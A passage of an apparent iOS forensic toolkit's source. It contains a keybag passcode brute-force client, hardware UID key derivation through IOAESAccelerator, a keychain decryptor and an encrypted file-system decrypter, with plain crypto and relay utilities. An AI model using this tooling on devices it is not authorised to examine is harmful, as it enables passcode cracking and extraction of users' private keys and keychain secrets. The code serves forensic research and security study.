getDeviceInfos(self): 41 | self.device_infos = self.send_req({"Request":"DeviceInfo"}) 42 | print "Device UDID :", self.device_infos.get("udid") 43 | return DeviceInfo.create(self.device_infos) 44 | 45 | def downloadFile(self, path): 46 | res = self.send_req({"Request": "DownloadFile", 47 | "Path": path}) 48 | if type(res) == plistlib._InternalDict and res.has_key("Data"): 49 | return res["Data"].data 50 | 51 | def getSystemKeyBag(self): 52 | return self.send_req({"Request":"GetSystemKeyBag"}) 53 | 54 | def bruteforceKeyBag(self, KeyBagKeys): 55 | return self.send_req({"Request":"BruteforceSystemKeyBag", 56 | "KeyBagKeys": plistlib.Data(KeyBagKeys)}) 57 | 58 | def getEscrowRecord(self, hostID): 59 | return self.send_req({"Request":"GetEscrowRecord", 60 | "HostID": hostID}) 61 | 62 | def getPasscodeKey(self, keybagkeys, passcode): 63 | return self.send_req({"Request":"KeyBagGetPasscodeKey", 64 | "KeyBagKeys": plistlib.Data(keybagkeys), 65 | "passcode": passcode}) 66 | 67 | def send_msg(self, dict): 68 | plist = plistlib.writePlistToString(dict) 69 | data = struct.pack(" 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include "IOAESAccelerator.h" 11 | #include "IOKit.h" 12 | 13 | io_connect_t conn = 0; 14 | IOByteCount IOAESStructSize = sizeof(IOAESStruct); 15 | pthread_once_t once_control = PTHREAD_ONCE_INIT; 16 | 17 | 18 | void aes_init() 19 | { 20 | conn = IOKit_getConnect("IOAESAccelerator"); 21 | } 22 | 23 | io_connect_t IOAESAccelerator_getIOconnect() 24 | { 25 | pthread_once(&once_control, aes_init); 26 | return conn; 27 | } 28 | 29 | 30 | int doAES(void* inbuf, void *outbuf, uint32_t size, uint32_t keyMask, void* key, void* iv, int mode, int bits) { 31 | IOReturn ret; 32 | IOAESStruct in; 33 | 34 | pthread_once(&once_control, aes_init); 35 | 36 | in.mode = mode; 37 | in.bits = bits; 38 | in.inbuf = inbuf; 39 | in.outbuf = outbuf; 40 | in.size = size; 41 | in.mask = keyMask; 42 | 43 | memset(in.keybuf, 0, sizeof(in.keybuf)); 44 | 45 | if(key) 46 | memcpy(in.keybuf, key, in.bits / 8); 47 | 48 | if(iv) 49 | memcpy(in.iv, iv, 16); 50 | else 51 | memset(in.iv, 0, 16); 52 | 53 | ret = IOConnectCallStructMethod(conn, kIOAESAcceleratorTask, &in, IOAESStructSize, &in, &IOAESStructSize); 54 | if(ret == 0xe00002c2) { 55 | IOAESStructSize = IOAESStruct_sizeold; 56 | ret = IOConnectCallStructMethod(conn, kIOAESAcceleratorTask, &in, IOAESStructSize, &in, &IOAESStructSize); 57 | } 58 | 59 | if(iv) 60 | memcpy(iv, in.iv, 16); 61 | 62 | return ret; 63 | } 64 | 65 | IOReturn doAES_wrapper(void* thisxxx, int mode, void* iv, void* outbuf, void *inbuf, uint32_t size, uint32_t keyMask) 66 | { 67 | int x = doAES(inbuf, outbuf, size, keyMask, NULL, iv, mode, 128); 68 | return !x; 69 | } 70 | 71 | int AES_UID_Encrypt(void* input2, void* output, size_t len) 72 | { 73 | IOAESStruct in; 74 | IOReturn ret; 75 | unsigned char* input = malloc(16); 76 | 77 | memcpy(input, input2, 16); 78 | 79 | pthread_once(&once_control, aes_init); 80 | 81 | in.mode = kIOAESAcceleratorEncrypt; 82 | in.mask = kIOAESAcceleratorUIDMask; 83 | in.bits = 128; 84 | in.inbuf = input; 85 | in.outbuf = output; 86 | in.size = len; 87 | 88 | memset(in.keybuf, 0, sizeof(in.keybuf)); 89 | memset(in.iv, 0, 16); 90 | 91 | ret = IOConnectCallStructMethod(conn, kIOAESAcceleratorTask, &in, IOAESStructSize, &in, &IOAESStructSize); 92 | if(ret == 0xe00002c2) { 93 | IOAESStructSize = IOAESStruct_sizeold; 94 | ret = IOConnectCallStructMethod(conn, kIOAESAcceleratorTask, &in, IOAESStructSize, &in, &IOAESStructSize); 95 | } 96 | 97 | if(ret != kIOReturnSuccess) { 98 | fprintf(stderr, "IOAESAccelerator returned: %x\n", ret); 99 | 100 | } 101 | return ret; 102 | } 103 | 104 | uint8_t* IOAES_key835() 105 | { 106 | static uint8_t key835[16] = {0}; 107 | AES_UID_Encrypt("\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01", key835, 16); 108 | return key835; 109 | } 110 | 111 | uint8_t* IOAES_key89B() 112 | { 113 | static uint8_t key89B[16] = {0}; 114 | AES_UID_Encrypt("\x18\x3E\x99\x67\x6B\xB0\x3C\x54\x6F\xA4\x68\xF5\x1C\x0C\xBD\x49", key89B, 16); 115 | return key89B; 116 | } -------------------------------------------------------------------------------- /python_scripts/keychain/keychain4.py: -------------------------------------------------------------------------------- 1 | from crypto.aes import AESdecryptCBC 2 | import struct 3 | 4 | """ 5 | iOS 4 keychain-2.db data column format 6 | 7 | version 0x00000000 8 | key class 0x00000008 9 | kSecAttrAccessibleWhenUnlocked 6 10 | kSecAttrAccessibleAfterFirstUnlock 7 11 | kSecAttrAccessibleAlways 8 12 | kSecAttrAccessibleWhenUnlockedThisDeviceOnly 9 13 | kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly 10 14 | kSecAttrAccessibleAlwaysThisDeviceOnly 11 15 | wrapped AES256 key 0x28 bytes (passed to kAppleKeyStoreKeyUnwrap) 16 | encrypted data (AES 256 CBC zero IV) 17 | """ 18 | from keychain import Keychain 19 | from crypto.gcm import gcm_decrypt 20 | from util.bplist import BPlistReader 21 | 22 | KSECATTRACCESSIBLE = { 23 | 6: "kSecAttrAccessibleWhenUnlocked", 24 | 7: "kSecAttrAccessibleAfterFirstUnlock", 25 | 8: "kSecAttrAccessibleAlways", 26 | 9: "kSecAttrAccessibleWhenUnlockedThisDeviceOnly", 27 | 10: "kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly", 28 | 11: "kSecAttrAccessibleAlwaysThisDeviceOnly" 29 | } 30 | 31 | class Keychain4(Keychain): 32 | def __init__(self, filename, keybag): 33 | if not keybag.unlocked: 34 | raise Exception("Keychain4 object created with locked keybag") 35 | Keychain.__init__(self, filename) 36 | self.keybag = keybag 37 | 38 | def decrypt_item(self, row): 39 | version, clas = struct.unpack("= 9 and not self.keybag.deviceKey: 42 | return {} 43 | if version >= 2: 44 | dict = self.decrypt_blob(row["data"]) 45 | if not dict: 46 | return {} 47 | if dict.has_key("v_Data"): 48 | dict["data"] = dict["v_Data"].data 49 | else: 50 | dict["data"] = "" 51 | dict["rowid"] = row["rowid"] 52 | return dict 53 | return Keychain.decrypt_item(self, row) 54 | 55 | def decrypt_data(self, data): 56 | data = self.decrypt_blob(data) 57 | if type(data) == dict: 58 | return data["v_Data"].data 59 | return data 60 | 61 | def decrypt_blob(self, blob): 62 | if blob == None: 63 | return "" 64 | 65 | if len(blob) < 48: 66 | print "keychain blob length must be >= 48" 67 | return 68 | 69 | version, clas = struct.unpack(" 5 | * 6 | * Permission to use, copy, modify, and distribute this software for any 7 | * purpose with or without fee is hereby granted, provided that the above 8 | * copyright notice and this permission notice appear in all copies. 9 | * 10 | * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES 11 | * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF 12 | * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR 13 | * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES 14 | * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN 15 | * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF 16 | * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. 17 | */ 18 | 19 | /* 20 | * This code implements the AES Key Wrap algorithm described in RFC 3394. 21 | */ 22 | 23 | #include 24 | #include 25 | 26 | //haxs to compile on osx 27 | #include 28 | #define timingsafe_bcmp bcmp 29 | #define ovbcopy bcopy 30 | #define explicit_bzero bzero 31 | #define htobe64 CFSwapInt64BigToHost 32 | #include "rijndael.h" 33 | #include "key_wrap.h" 34 | 35 | 36 | static const u_int8_t IV[8] = 37 | { 0xa6, 0xa6, 0xa6, 0xa6, 0xa6, 0xa6, 0xa6, 0xa6 }; 38 | 39 | void 40 | aes_key_wrap_set_key(aes_key_wrap_ctx *ctx, const u_int8_t *K, size_t K_len) 41 | { 42 | rijndael_set_key(&ctx->ctx, K, K_len * NBBY); 43 | } 44 | 45 | void 46 | aes_key_wrap_set_key_wrap_only(aes_key_wrap_ctx *ctx, const u_int8_t *K, 47 | size_t K_len) 48 | { 49 | rijndael_set_key_enc_only(&ctx->ctx, K, K_len * NBBY); 50 | } 51 | 52 | void 53 | aes_key_wrap(aes_key_wrap_ctx *ctx, const u_int8_t *P, size_t n, u_int8_t *C) 54 | { 55 | u_int64_t B[2], t; 56 | u_int8_t *A, *R; 57 | size_t i; 58 | int j; 59 | 60 | ovbcopy(P, C + 8, n * 8); /* P and C may overlap */ 61 | A = C; /* A points to C[0] */ 62 | memcpy(A, IV, 8); /* A = IV, an initial value */ 63 | 64 | for (j = 0, t = 1; j <= 5; j++) { 65 | R = C + 8; 66 | for (i = 1; i <= n; i++, t++) { 67 | /* B = A | R[i] */ 68 | memcpy(&B[0], A, 8); 69 | memcpy(&B[1], R, 8); 70 | /* B = AES(K, B) */ 71 | rijndael_encrypt(&ctx->ctx, (caddr_t)B, (caddr_t)B); 72 | /* MSB(64, B) = MSB(64, B) ^ t */ 73 | B[0] ^= htobe64(t); 74 | /* A = MSB(64, B) */ 75 | memcpy(A, &B[0], 8); 76 | /* R[i] = LSB(64, B) */ 77 | memcpy(R, &B[1], 8); 78 | 79 | R += 8; 80 | } 81 | } 82 | explicit_bzero(B, sizeof B); 83 | } 84 | 85 | int 86 | aes_key_unwrap(aes_key_wrap_ctx *ctx, const u_int8_t *C, u_int8_t *P, size_t n) 87 | { 88 | u_int64_t B[2], t; 89 | u_int8_t A[8], *R; 90 | size_t i; 91 | int j; 92 | 93 | memcpy(A, C, 8); /* A = C[0] */ 94 | ovbcopy(C + 8, P, n * 8); /* P and C may overlap */ 95 | 96 | for (j = 5, t = 6 * n; j >= 0; j--) { 97 | R = P + (n - 1) * 8; 98 | for (i = n; i >= 1; i--, t--) { 99 | /* MSB(64, B) = A */ 100 | memcpy(&B[0], A, 8); 101 | /* MSB(64, B) = MSB(64, B) ^ t */ 102 | B[0] ^= htobe64(t); 103 | /* B = MSB(64, B) | R[i] */ 104 | memcpy(&B[1], R, 8); 105 | /* B = AES-1(K, B) */ 106 | rijndael_decrypt(&ctx->ctx, (caddr_t)B, (caddr_t)B); 107 | /* A = MSB(64, B) */ 108 | memcpy(A, &B[0], 8); 109 | /* R[i] = LSB(64, B) */ 110 | memcpy(R, &B[1], 8); 111 | 112 | R -= 8; 113 | } 114 | } 115 | explicit_bzero(B, sizeof B); 116 | 117 | /* check that A is an appropriate initial value */ 118 | return timingsafe_bcmp(A, IV, 8) != 0; 119 | } 120 | -------------------------------------------------------------------------------- /emf_decrypter/hfs/extents.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | static inline void flipExtentDescriptor(HFSPlusExtentDescriptor* extentDescriptor) { 6 | FLIPENDIAN(extentDescriptor->startBlock); 7 | FLIPENDIAN(extentDescriptor->blockCount); 8 | } 9 | 10 | void flipExtentRecord(HFSPlusExtentRecord* extentRecord) { 11 | HFSPlusExtentDescriptor *extentDescriptor; 12 | extentDescriptor = (HFSPlusExtentDescriptor*)extentRecord; 13 | 14 | flipExtentDescriptor(&extentDescriptor[0]); 15 | flipExtentDescriptor(&extentDescriptor[1]); 16 | flipExtentDescriptor(&extentDescriptor[2]); 17 | flipExtentDescriptor(&extentDescriptor[3]); 18 | flipExtentDescriptor(&extentDescriptor[4]); 19 | flipExtentDescriptor(&extentDescriptor[5]); 20 | flipExtentDescriptor(&extentDescriptor[6]); 21 | flipExtentDescriptor(&extentDescriptor[7]); 22 | } 23 | 24 | static int extentCompare(BTKey* vLeft, BTKey* vRight) { 25 | HFSPlusExtentKey* left; 26 | HFSPlusExtentKey* right; 27 | 28 | left = (HFSPlusExtentKey*) vLeft; 29 | right =(HFSPlusExtentKey*) vRight; 30 | 31 | if(left->forkType < right->forkType) { 32 | return -1; 33 | } else if(left->forkType > right->forkType) { 34 | return 1; 35 | } else { 36 | if(left->fileID < right->fileID) { 37 | return -1; 38 | } else if(left->fileID > right->fileID) { 39 | return 1; 40 | } else { 41 | if(left->startBlock < right->startBlock) { 42 | return -1; 43 | } else if(left->startBlock > right->startBlock) { 44 | return 1; 45 | } else { 46 | /* do a safety check on key length. Otherwise, bad things may happen later on when we try to add or remove with this key */ 47 | if(left->keyLength == right->keyLength) { 48 | return 0; 49 | } else if(left->keyLength < right->keyLength) { 50 | return -1; 51 | } else { 52 | return 1; 53 | } 54 | return 0; 55 | } 56 | } 57 | } 58 | } 59 | 60 | static BTKey* extentKeyRead(off_t offset, io_func* io) { 61 | HFSPlusExtentKey* key; 62 | 63 | key = (HFSPlusExtentKey*) malloc(sizeof(HFSPlusExtentKey)); 64 | 65 | if(!READ(io, offset, sizeof(HFSPlusExtentKey), key)) 66 | return NULL; 67 | 68 | FLIPENDIAN(key->keyLength); 69 | FLIPENDIAN(key->forkType); 70 | FLIPENDIAN(key->fileID); 71 | FLIPENDIAN(key->startBlock); 72 | 73 | return (BTKey*)key; 74 | } 75 | 76 | static int extentKeyWrite(off_t offset, BTKey* toWrite, io_func* io) { 77 | HFSPlusExtentKey* key; 78 | 79 | key = (HFSPlusExtentKey*) malloc(sizeof(HFSPlusExtentKey)); 80 | 81 | memcpy(key, toWrite, sizeof(HFSPlusExtentKey)); 82 | 83 | FLIPENDIAN(key->keyLength); 84 | FLIPENDIAN(key->forkType); 85 | FLIPENDIAN(key->fileID); 86 | FLIPENDIAN(key->startBlock); 87 | 88 | if(!WRITE(io, offset, sizeof(HFSPlusExtentKey), key)) 89 | return FALSE; 90 | 91 | free(key); 92 | 93 | return TRUE; 94 | } 95 | 96 | static void extentKeyPrint(BTKey* toPrint) { 97 | HFSPlusExtentKey* key; 98 | 99 | key = (HFSPlusExtentKey*)toPrint; 100 | 101 | printf("extent%d:%d:%d", key->forkType, key->fileID, key->startBlock); 102 | } 103 | 104 | static BTKey* extentDataRead(off_t offset, io_func* io) { 105 | HFSPlusExtentRecord* record; 106 | 107 | record = (HFSPlusExtentRecord*) malloc(sizeof(HFSPlusExtentRecord)); 108 | 109 | if(!READ(io, offset, sizeof(HFSPlusExtentRecord), record)) 110 | return NULL; 111 | 112 | flipExtentRecord(record); 113 | 114 | return (BTKey*)record; 115 | } 116 | 117 | BTree* openExtentsTree(io_func* file) { 118 | return openBTree(file, &extentCompare, &extentKeyRead, &extentKeyWrite, &extentKeyPrint, &extentDataRead); 119 | } 120 | -------------------------------------------------------------------------------- /emf_decrypter/emf/emf_init.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include "hfs/hfslib.h" 9 | #include "emf.h" 10 | 11 | size_t ConvertHexaCFString(CFStringRef s, uint8_t** bytes) 12 | { 13 | uint32_t len = CFStringGetLength(s); 14 | uint8_t* hex = malloc(len+1); 15 | 16 | if(hex == NULL) 17 | return 0; 18 | 19 | if(!CFStringGetCString(s, hex, len+1, kCFStringEncodingASCII)) 20 | { 21 | free(hex); 22 | return 0; 23 | } 24 | size_t size = 0; 25 | hexToBytes(hex, bytes, &size); 26 | free(hex); 27 | return size; 28 | } 29 | 30 | void grabClassKey(const void *key, const void *value, void *context) 31 | { 32 | EMFInfo* emf = (EMFInfo*) context; 33 | uint8_t* class_key = NULL; 34 | 35 | if(CFGetTypeID(key) != CFStringGetTypeID() || CFGetTypeID(value) != CFStringGetTypeID()) 36 | return; 37 | 38 | SInt32 clas = CFStringGetIntValue((CFStringRef)key); 39 | 40 | if(clas > 0 && clas <= MAX_CLASS_KEYS && CFStringGetLength((CFStringRef) value) == 64) 41 | { 42 | if(ConvertHexaCFString(value, &class_key) == 32) 43 | { 44 | AES_set_decrypt_key(class_key, 32*8, &(emf->classKeys[clas-1])); 45 | free(class_key); 46 | emf->classKeys_bitset |= 1 << clas; 47 | } 48 | } 49 | 50 | } 51 | 52 | EMFInfo* EMF_init(Volume* volume, char* imagePath) 53 | { 54 | uint8_t* emfk = NULL; 55 | uint8_t* dkey = NULL; 56 | 57 | uint64_t volume_id = *((uint64_t*) (&volume->volumeHeader->finderInfo[6])); 58 | FLIPENDIAN(volume_id); 59 | 60 | if(imagePath == NULL) 61 | imagePath = "."; 62 | 63 | printf("Volume identifier : %llx\n", volume_id); 64 | printf("Searching for %s/%llx.plist\n", imagePath, volume_id); 65 | 66 | CFStringRef path = CFStringCreateWithFormat(NULL, NULL, CFSTR("%s/%llx.plist"), imagePath, volume_id); 67 | 68 | CFURLRef fileURL = CFURLCreateWithFileSystemPath(NULL, path, kCFURLPOSIXPathStyle, FALSE); 69 | CFRelease(path); 70 | 71 | CFReadStreamRef stream = CFReadStreamCreateWithFile(NULL, fileURL); 72 | CFRelease(fileURL); 73 | 74 | if(stream == NULL) 75 | { 76 | return NULL; 77 | } 78 | if(!CFReadStreamOpen(stream)) 79 | { 80 | fprintf(stderr, "Cannot open file\n"); 81 | return NULL; 82 | } 83 | CFPropertyListRef dict = CFPropertyListCreateWithStream(NULL, stream, 0, kCFPropertyListImmutable, NULL, NULL); 84 | 85 | CFRelease(stream); 86 | 87 | if (dict == NULL || CFGetTypeID(dict) != CFDictionaryGetTypeID()) 88 | return NULL; 89 | 90 | CFStringRef emfHex = CFDictionaryGetValue(dict, CFSTR("EMF")); 91 | CFStringRef dkeyHex = CFDictionaryGetValue(dict, CFSTR("DKey")); 92 | CFNumberRef dataVolumeOffset = CFDictionaryGetValue (dict, CFSTR("dataVolumeOffset")); 93 | 94 | if (emfHex == NULL || CFGetTypeID(emfHex) != CFStringGetTypeID()) 95 | return NULL; 96 | if (dkeyHex == NULL || CFGetTypeID(dkeyHex) != CFStringGetTypeID()) 97 | return NULL; 98 | if (dataVolumeOffset == NULL || CFGetTypeID(dataVolumeOffset) != CFNumberGetTypeID()) 99 | return NULL; 100 | 101 | EMFInfo* emf = malloc(sizeof(EMFInfo)); 102 | 103 | if(emf == NULL) 104 | return NULL; 105 | 106 | memset(emf, 0, sizeof(EMFInfo)); 107 | 108 | emf->volume = volume; 109 | 110 | CFNumberGetValue(dataVolumeOffset, kCFNumberLongType, &emf->volume_offset); 111 | 112 | printf("Data partition offset = %llx\n", emf->volume_offset); 113 | 114 | if(ConvertHexaCFString(emfHex, &emfk) != 32) 115 | { 116 | fprintf(stderr, "Invalid EMF key\n"); 117 | free(emf); 118 | return NULL; 119 | } 120 | if(ConvertHexaCFString(dkeyHex, &dkey) != 32) 121 | { 122 | fprintf(stderr, "Invalid DKey key\n"); 123 | free(emf); 124 | return NULL; 125 | } 126 | 127 | AES_set_encrypt_key(emfk, 32*8, &(emf->emfkey)); 128 | AES_set_decrypt_key(dkey, 32*8, &(emf->classKeys[CLASS_DKEY-1])); 129 | emf->classKeys_bitset |= 1 << CLASS_DKEY; 130 | 131 | CFDictionaryRef classKeys = CFDictionaryGetValue(dict, CFSTR("classKeys")); 132 | 133 | if(classKeys != NULL && CFGetTypeID(classKeys) == CFDictionaryGetTypeID()) 134 | { 135 | printf("Reading class keys, NSProtectionComplete files should be decrypted OK\n"); 136 | CFDictionaryApplyFunction(classKeys, grabClassKey, (void*) emf); 137 | } 138 | else 139 | { 140 | printf("Only NSProtectionNone files will be decrypted\n"); 141 | } 142 | 143 | free(emfk); 144 | free(dkey); 145 | return emf; 146 | } 147 | -------------------------------------------------------------------------------- /usbmuxd-python-client/tcprelay.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # 4 | # tcprelay.py - TCP connection relay for usbmuxd 5 | # 6 | # Copyright (C) 2009 Hector Martin "marcan" 7 | # 8 | # This program is free software; you can redistribute it and/or modify 9 | # it under the terms of the GNU General Public License as published by 10 | # the Free Software Foundation, either version 2 or version 3. 11 | # 12 | # This program is distributed in the hope that it will be useful, 13 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | # GNU General Public License for more details. 16 | # 17 | # You should have received a copy of the GNU General Public License 18 | # along with this program; if not, write to the Free Software 19 | # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 20 | 21 | import usbmux 22 | import SocketServer 23 | import select 24 | from optparse import OptionParser 25 | import sys 26 | import threading 27 | 28 | class SocketRelay(object): 29 | def __init__(self, a, b, maxbuf=65535): 30 | self.a = a 31 | self.b = b 32 | self.atob = "" 33 | self.btoa = "" 34 | self.maxbuf = maxbuf 35 | def handle(self): 36 | while True: 37 | rlist = [] 38 | wlist = [] 39 | xlist = [self.a, self.b] 40 | if self.atob: 41 | wlist.append(self.b) 42 | if self.btoa: 43 | wlist.append(self.a) 44 | if len(self.atob) < self.maxbuf: 45 | rlist.append(self.a) 46 | if len(self.btoa) < self.maxbuf: 47 | rlist.append(self.b) 48 | rlo, wlo, xlo = select.select(rlist, wlist, xlist) 49 | if xlo: 50 | return 51 | if self.a in wlo: 52 | n = self.a.send(self.btoa) 53 | self.btoa = self.btoa[n:] 54 | if self.b in wlo: 55 | n = self.b.send(self.atob) 56 | self.atob = self.atob[n:] 57 | if self.a in rlo: 58 | s = self.a.recv(self.maxbuf - len(self.atob)) 59 | if not s: 60 | return 61 | self.atob += s 62 | if self.b in rlo: 63 | s = self.b.recv(self.maxbuf - len(self.btoa)) 64 | if not s: 65 | return 66 | self.btoa += s 67 | #print "Relay iter: %8d atob, %8d btoa, lists: %r %r %r"%(len(self.atob), len(self.btoa), rlo, wlo, xlo) 68 | 69 | class TCPRelay(SocketServer.BaseRequestHandler): 70 | def handle(self): 71 | print "Incoming connection to %d"%self.server.server_address[1] 72 | mux = usbmux.USBMux(options.sockpath) 73 | print "Waiting for devices..." 74 | if not mux.devices: 75 | mux.process(1.0) 76 | if not mux.devices: 77 | print "No device found" 78 | self.request.close() 79 | return 80 | dev = mux.devices[0] 81 | print "Connecting to device %s"%str(dev) 82 | dsock = mux.connect(dev, self.server.rport) 83 | lsock = self.request 84 | print "Connection established, relaying data" 85 | try: 86 | fwd = SocketRelay(dsock, lsock, self.server.bufsize * 1024) 87 | fwd.handle() 88 | finally: 89 | dsock.close() 90 | lsock.close() 91 | print "Connection closed" 92 | 93 | class TCPServer(SocketServer.TCPServer): 94 | allow_reuse_address = True 95 | 96 | class ThreadedTCPServer(SocketServer.ThreadingMixIn, TCPServer): 97 | pass 98 | 99 | HOST = "localhost" 100 | 101 | parser = OptionParser(usage="usage: %prog [OPTIONS] RemotePort[:LocalPort] [RemotePort[:LocalPort]]...") 102 | parser.add_option("-t", "--threaded", dest='threaded', action='store_true', default=False, help="use threading to handle multiple connections at once") 103 | parser.add_option("-b", "--bufsize", dest='bufsize', action='store', metavar='KILOBYTES', type='int', default=128, help="specify buffer size for socket forwarding") 104 | parser.add_option("-s", "--socket", dest='sockpath', action='store', metavar='PATH', type='str', default=None, help="specify the path of the usbmuxd socket") 105 | 106 | options, args = parser.parse_args() 107 | 108 | serverclass = TCPServer 109 | if options.threaded: 110 | serverclass = ThreadedTCPServer 111 | 112 | if len(args) == 0: 113 | parser.print_help() 114 | sys.exit(1) 115 | 116 | ports = [] 117 | 118 | for arg in args: 119 | try: 120 | if ':' in arg: 121 | rport, lport = arg.split(":") 122 | rport = int(rport) 123 | lport = int(lport) 124 | ports.append((rport, lport)) 125 | else: 126 | ports.append((int(arg), int(arg))) 127 | except: 128 | parser.print_help() 129 | sys.exit(1) 130 | 131 | servers=[] 132 | 133 | for rport, lport in ports: 134 | print "Forwarding local port %d to remote port %d"%(lport, rport) 135 | server = serverclass((HOST, lport), TCPRelay) 136 | server.rport = rport 137 | server.bufsize = options.bufsize 138 | servers.append(server) 139 | 140 | alive = True 141 | 142 | while alive: 143 | try: 144 | rl, wl, xl = select.select(servers, [], []) 145 | for server in rl: 146 | server.handle_request() 147 | except: 148 | alive = False 149 | -------------------------------------------------------------------------------- /python_scripts/crypto/gcm.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from Crypto.Cipher import AES 4 | from Crypto.Util import strxor 5 | from struct import pack, unpack 6 | from util.bplist import BPlistReader 7 | 8 | def gcm_rightshift(vec): 9 | for x in range(15, 0, -1): 10 | c = vec[x] >> 1 11 | c |= (vec[x-1] << 7) & 0x80 12 | vec[x] = c 13 | vec[0] >>= 1 14 | return vec 15 | 16 | def gcm_gf_mult(a, b): 17 | mask = [ 0x80, 0x40, 0x20, 0x10, 0x08, 0x04, 0x02, 0x01 ] 18 | poly = [ 0x00, 0xe1 ] 19 | 20 | Z = [0] * 16 21 | V = [c for c in a] 22 | 23 | for x in range(128): 24 | if b[x >> 3] & mask[x & 7]: 25 | Z = [V[y] ^ Z[y] for y in range(16)] 26 | bit = V[15] & 1 27 | V = gcm_rightshift(V) 28 | V[0] ^= poly[bit] 29 | return Z 30 | 31 | def ghash(h, auth_data, data): 32 | u = (16 - len(data)) % 16 33 | v = (16 - len(auth_data)) % 16 34 | 35 | x = auth_data + chr(0) * v + data + chr(0) * u 36 | x += pack('>QQ', len(auth_data) * 8, len(data) * 8) 37 | 38 | y = [0] * 16 39 | vec_h = [ord(c) for c in h] 40 | 41 | for i in range(0, len(x), 16): 42 | block = [ord(c) for c in x[i:i+16]] 43 | y = [y[j] ^ block[j] for j in range(16)] 44 | y = gcm_gf_mult(y, vec_h) 45 | 46 | return ''.join(chr(c) for c in y) 47 | 48 | def inc32(block): 49 | counter, = unpack('>L', block[12:]) 50 | counter += 1 51 | return block[:12] + pack('>L', counter) 52 | 53 | def gctr(k, icb, plaintext): 54 | y = '' 55 | if len(plaintext) == 0: 56 | return y 57 | 58 | aes = AES.new(k) 59 | cb = icb 60 | 61 | for i in range(0, len(plaintext), aes.block_size): 62 | cb = inc32(cb) 63 | encrypted = aes.encrypt(cb) 64 | plaintext_block = plaintext[i:i+aes.block_size] 65 | y += strxor.strxor(plaintext_block, encrypted[:len(plaintext_block)]) 66 | 67 | return y 68 | 69 | def gcm_decrypt(k, iv, encrypted, auth_data, tag): 70 | aes = AES.new(k) 71 | h = aes.encrypt(chr(0) * aes.block_size) 72 | 73 | if len(iv) == 12: 74 | y0 = iv + "\x00\x00\x00\x01" 75 | else: 76 | y0 = ghash(h, '', iv) 77 | 78 | decrypted = gctr(k, y0, encrypted) 79 | s = ghash(h, auth_data, encrypted) 80 | 81 | t = aes.encrypt(y0) 82 | T = strxor.strxor(s, t) 83 | if T != tag: 84 | raise ValueError('Decrypted data is invalid') 85 | else: 86 | return decrypted 87 | 88 | def gcm_encrypt(k, iv, plaintext, auth_data): 89 | aes = AES.new(k) 90 | h = aes.encrypt(chr(0) * aes.block_size) 91 | 92 | if len(iv) == 12: 93 | y0 = iv + "\x00\x00\x00\x01" 94 | else: 95 | y0 = ghash(h, '', iv) 96 | 97 | encrypted = gctr(k, y0, plaintext) 98 | s = ghash(h, auth_data, encrypted) 99 | 100 | t = aes.encrypt(y0) 101 | T = strxor.strxor(s, t) 102 | return (encrypted, T) 103 | 104 | def main(): 105 | #http://www.ieee802.org/1/files/public/docs2011/bn-randall-test-vectors-0511-v1.pdf 106 | k = 'AD7A2BD03EAC835A6F620FDCB506B345'.decode("hex") 107 | p = '' 108 | a = 'D609B1F056637A0D46DF998D88E5222AB2C2846512153524C0895E8108000F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F30313233340001'.decode("hex") 109 | iv = '12153524C0895E81B2C28465'.decode("hex") 110 | c, t = gcm_encrypt(k, iv, '', a) 111 | assert c == "" 112 | assert t == "f09478a9b09007d06f46e9b6a1da25dd".decode("hex") 113 | 114 | k = 'AD7A2BD03EAC835A6F620FDCB506B345'.decode("hex") 115 | p = '08000F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333435363738393A0002'.decode("hex") 116 | a = 'D609B1F056637A0D46DF998D88E52E00B2C2846512153524C0895E81'.decode("hex") 117 | iv = '12153524C0895E81B2C28465'.decode("hex") 118 | c, t = gcm_encrypt(k, iv, p, a) 119 | assert c == '701AFA1CC039C0D765128A665DAB69243899BF7318CCDC81C9931DA17FBE8EDD7D17CB8B4C26FC81E3284F2B7FBA713D'.decode("hex") 120 | assert t == '4F8D55E7D3F06FD5A13C0C29B9D5B880'.decode("hex") 121 | 122 | key = "91bfb6cbcff07b93a4c68bbfe99ac63b713f0627025c0fb1ffc5b0812dc284f8".decode("hex") 123 | data = 